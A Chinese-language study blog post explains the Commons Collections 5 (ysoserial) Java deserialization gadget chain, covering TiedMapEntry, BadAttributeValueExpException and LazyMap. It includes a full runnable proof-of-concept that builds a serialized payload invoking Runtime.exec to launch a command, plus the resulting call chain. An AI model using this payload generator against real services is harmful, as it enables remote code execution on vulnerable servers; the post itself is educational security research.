JAVA反序列化學習-CommonsCollections5(基於ysoserial)

Erosion2020發表於2024-11-19

環境準備

JDK1.8(8u421)我以本地的JDK8版本為準、commons-collections(3.x 4.x均可這裡使用3.2版本)

cc3.2:

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2</version>
</dependency>

正文

CC1攻擊鏈:https://www.cnblogs.com/erosion2020/p/18553568

CC5是 CC1 的一個變種,CC1在JDK1.8之後對AnnotationInvocationHandler 進行了修復,使得攻擊鏈不能被正常利用,在CC5提到的攻擊鏈中使用了TiedMapEntry以及BadAttributeValueExpException來完成攻擊鏈的觸發。

讓我們來看一下為什麼透過這兩個類可以完成攻擊鏈的觸發。

TiedMapEntry

TiedMapEntryCommons Collections 中的一個類,它主要用於將一個 Map 的鍵值對與其他物件繫結起來,形成一個 "繫結"(tied)關係。這個類的目的是允許 Map 條目(即鍵值對)與附加的物件(比如某些回撥函式或特殊處理物件)一起儲存。具體來說,TiedMapEntry 透過包裝 Map 的條目,並與目標物件一起儲存,來支援一些懶載入機制或觸發特定的操作。

CC5中的應用

CC5(Commons Collections 5) 的攻擊鏈中,TiedMapEntry 起到了關鍵的“橋樑”作用。攻擊者利用 TiedMapEntryLazyMap 的結合來構建攻擊鏈。

  1. LazyMap 的懶載入機制LazyMap 被用來延遲載入物件,攻擊者透過將惡意程式碼與 LazyMap 繫結,延遲執行某些操作。TiedMapEntry 在這裡負責將惡意的 LazyMap 物件和其他需要的物件繫結在一起。
  2. TiedMapEntryLazyMap 配合:攻擊者可以將 TiedMapEntryLazyMap 一起使用,透過訪問 LazyMap 中的條目,來觸發懶載入的惡意程式碼。這個過程通常是在反序列化時自動發生的。
  3. 觸發反序列化時的惡意操作:當反序列化包含 TiedMapEntry 的物件時,訪問 TiedMapEntrygetValue() 方法會觸發與之繫結的惡意操作,最終可能執行惡意程式碼。

關鍵程式碼分析

public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
    private static final long serialVersionUID = -8453869361373831205L;
    private final Map map;
    private final Object key;

    public TiedMapEntry(Map map, Object key) {
        this.map = map;
        this.key = key;
    }
	......
    public Object getKey() {
        return this.key;
    }
	// action1: 會執行到這個地方
    // 最終要把Map變成一個LazyMap,那這樣的話就會觸發LazyMap的get方法,而LazyMap中的get方法則會觸發transformer方法
    public Object getValue() {
        return this.map.get(this.key);
    }
	// action0: 重點在這個方法中,他呼叫了getValue方法
    public String toString() {
        return this.getKey() + "=" + this.getValue();
    }
}

BadAttributeValueExpException

BadAttributeValueExpExceptionjavax.management 包中的一個類,通常用於描述與 Java Management Extensions (JMX) 相關的異常。該類的構造方法接受一個 Object 型別的引數 val,代表異常的具體值。

在安全漏洞利用中,BadAttributeValueExpException 常被用作反序列化攻擊鏈的一部分。由於其 val 欄位是可訪問的,攻擊者可以透過將惡意物件(例如 TiedMapEntry)賦值給該欄位,間接觸發惡意程式碼的執行。

CC5中的應用

CC5 攻擊鏈中,BadAttributeValueExpException 是觸發攻擊鏈的關鍵物件之一。攻擊者透過反序列化時將 TiedMapEntry 或其他惡意物件設定為 val 欄位的值,使得反序列化過程中觸發惡意的程式碼執行。

CC5 攻擊鏈的具體應用:

  1. 構造 BadAttributeValueExpException:首先構造一個 BadAttributeValueExpException 物件,並透過反射將惡意的 TiedMapEntry 物件設定到 val 欄位中。
  2. 觸發反序列化:在反序列化過程中,BadAttributeValueExpExceptionval 欄位會被訪問,而這個欄位繫結了一個 TiedMapEntry 物件。此時,TiedMapEntrygetValue() 方法被呼叫,從而觸發 LazyMap 的懶載入操作。
  3. 執行惡意程式碼LazyMap 中的 Transformer 鏈會被觸發,最終執行繫結的惡意操作(如執行命令、反向連線等)。

關鍵程式碼分析

public class BadAttributeValueExpException extends Exception   {
    private static final long serialVersionUID = -3105272988410493376L;
	// 要把val構造成一個TiedMapEntry,這樣在執行反序列化方法readObject時就會觸發TiedMapEntry.toString方法
    // 然後TiedMapEntry.toString方法會執行TiedMapEntry.getValue方法,然後會執行到LazyMap.get(this.key)
    // LazyMap.get方法中會呼叫Transformer.transformer方法,而這裡的Transformer就是我們精心構造的TransformerChained
    private Object val;
    public BadAttributeValueExpException (Object val) {
        this.val = val == null ? null : val.toString();
    }

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);
        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            // 重點是這個方法
            val = valObj.toString();
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }
 }

構造POC

一樣,這裡還是直接把ysoserial的程式碼轉換成本地可以直接執行除錯的程式碼

public class CommonsCollections5 {
    static String serialFileName = "commons-collections5.ser";

    public static void main(String[] args) throws Exception {
        cc5byYsoSerial();
        verify();
    }

    public static void verify() throws Exception {
        // 本地模擬反序列化
        FileInputStream fis = new FileInputStream(serialFileName);
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object ignore = (Object) ois.readObject();
    }

    public static void cc5byYsoSerial() throws Exception {
        String execArgs = "cmd /c start";
        final Transformer transformerChain = new ChainedTransformer(
                new Transformer[]{ new ConstantTransformer(1) });
        // real chain for after setup
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{execArgs}),
                new ConstantTransformer(1) };
        // 等同於ysoserial中的Reflections.setFieldValue(transformerChain, "iTransformers", transformers);寫法
        Class<?> transformer = Class.forName(ChainedTransformer.class.getName());
        Field iTransformers = transformer.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(transformerChain, transformers);
        // 先建立LazyMap,用來將transformerChain包裝成一個Map,當Map中的get方法被觸發時就能直接觸發到呼叫鏈
        final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);

        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, entry);

        FileOutputStream fos = new FileOutputStream(serialFileName);
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(val);
        oos.flush();
        oos.close();
    }
}

除錯

來彈個cmd

image-20241119161717938

呼叫鏈

其實和CC1的呼叫鏈非常非常像,只是攻擊鏈的觸發點不一樣

  • ObjectInputStream.readObject()
    • BadAttributeValueExpException.readObject()
      • TiedMapEntry.toString()
        • TiedMapEntry.getValue()
          • LazyMap.get()
            • ChainedTransformer.transform()
              • ConstantTransformer.transform()
                • InvokerTransformer.transform()
                  • Method.invoke()
                  • Class.getMethod()
                • InvokerTransformer.transform()
                  • Method.invoke()
                  • Runtime.getRuntime()
                • InvokerTransformer.transform()
                  • Method.invoke()
                  • Runtime.exec()

相關文章